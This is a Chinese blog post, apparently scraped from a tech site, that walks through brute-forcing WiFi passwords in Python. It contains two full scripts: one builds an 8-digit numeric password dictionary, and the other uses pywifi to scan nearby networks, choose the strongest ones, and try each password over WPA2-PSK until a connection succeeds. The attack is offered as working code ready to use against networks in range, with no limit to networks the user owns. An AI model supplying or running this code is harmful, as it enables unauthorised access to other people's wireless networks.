当前位置: 移动技术网 > IT编程>脚本编程>Python > Python破解Wifi密码思路

Python破解Wifi密码思路

2019年03月01日  | 移动技术网IT编程  | 我要评论

谈恋爱短信,溧阳同城游戏大厅下载,平本一穗

一、前言说明

  本机运行环境:系统环境win10,运行环境python3.6,运行工具pycharm

  需要python的包有:pywifi

  这是一种暴力破解wifi的模式,需要的时间比较长,本文主要提供一个破解思路

 

二、思路介绍

  先生成一个密码字典(此步骤也可以从网上下载字典)

  循环用密码字典的每个密码去尝试连接wifi,直到成功

 

三、源码设计

  1. 密码字典txt文件生成,本文提供的比较简单,实用破解可以根据一般密码设置,去生成比较大比较全的密码字典

  一般设置密码规则,可以参照这个博客写的内容:

  以下提供简单8位纯数字的字典生成方案代码getwifipsddic.py  

 1 import itertools as its
 2 
 3 
 4 if __name__ == '__main__':
 5     words_num = "1234567890"
 6     words_letter = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz"
 7     r = its.product(words_num, repeat=8)
 8     dic = open("password-8位数字.txt", "w")
 9     for i in r:
10         dic.write("".join(i))
11         dic.write("".join("\n"))
12     dic.close()

    2. 暴力破解密码,用时较长getwifipsd.py

 1 import pywifi
 2 
 3 from pywifi import const  # 引用一些定义
 4 
 5 import time
 6 
 7 
 8 def getwifi(wifilist, wificount):
 9     wifi = pywifi.pywifi()  # 抓取网卡接口
10     ifaces = wifi.interfaces()[0]  # 获取网卡
11     ifaces.scan()
12     time.sleep(8)
13     bessis = ifaces.scan_results()
14     allwifilist = []
15     namelist = []
16     ssidlist = []
17     for data in bessis:
18         if data.ssid not in namelist:  # 去掉重复的wifi名称
19             namelist.append(data.ssid)
20             allwifilist.append((data.ssid, data.signal))
21     sorted(allwifilist, key=lambda st: st[1], reverse=true)
22     time.sleep(1)
23     n = 0
24     if len(allwifilist) is not 0:
25         for item in allwifilist:
26             if (item[0] not in ssidlist) & (item[0] not in wifilist):
27                 n = n + 1
28                 if n <= wificount:
29                     ssidlist.append(item[0])
30     print(allwifilist)
31     return ssidlist
32 
33 
34 def getifaces():
35     wifi = pywifi.pywifi()  # 抓取网卡接口
36     ifaces = wifi.interfaces()[0]  # 获取网卡
37     ifaces.disconnect()  # 断开无限网卡连接
38     return ifaces
39 
40 
41 def testwifi(ifaces, ssidname, password):
42     profile = pywifi.profile()  # 创建wifi连接文件
43     profile.ssid = ssidname  # 定义wifissid
44     profile.auth = const.auth_alg_open  # 网卡的开放
45     profile.akm.append(const.akm_type_wpa2psk)  # wifi加密算法
46     profile.cipher = const.cipher_type_ccmp  # 加密单元
47     profile.key = password  # wifi密码
48     ifaces.remove_all_network_profiles()  # 删除其他所有配置文件
49     tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件
50     ifaces.connect(tmp_profile)  # 连接wifi
51     time.sleep(5)  # 5秒内能否连接上
52     if ifaces.status() == const.iface_connected:
53         return true
54     else:
55         return false
56 
57 
58 def beginwork(wifinamelist):
59     ifaces = getifaces()
60     path = r"password-8位数字.txt"
61     # path = r"password-常用密码.txt"
62     files = open(path, 'r')
63     while true:
64         try:
65             password = files.readline()
66             password = password.strip('\n')
67             if not password:
68                 break
69             for wifiname in wifinamelist:
70                 print("正在尝试:" + wifiname + "," + password)
71                 if testwifi(ifaces, wifiname, password):
72                     print("wifi账号:" + wifiname + ",wifi密码:" + password)
73                     wifinamelist.remove(wifiname)
74                     break
75             if not wifinamelist:
76                 break
77         except:
78             continue
79     files.close()
80 
81 
82 if __name__ == '__main__':
83     wifinames_e = ["", "vrapile"]  # 排除不破解的wifi名字
84     wifinames = getwifi(wifinames_e, 5)
85     print(wifinames)
86     beginwork(wifinames)

 

四、最后小结

  上文生成字典有很多冗余密码成分,会大大加长破解时间,实用时可以更改密码生成方式

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网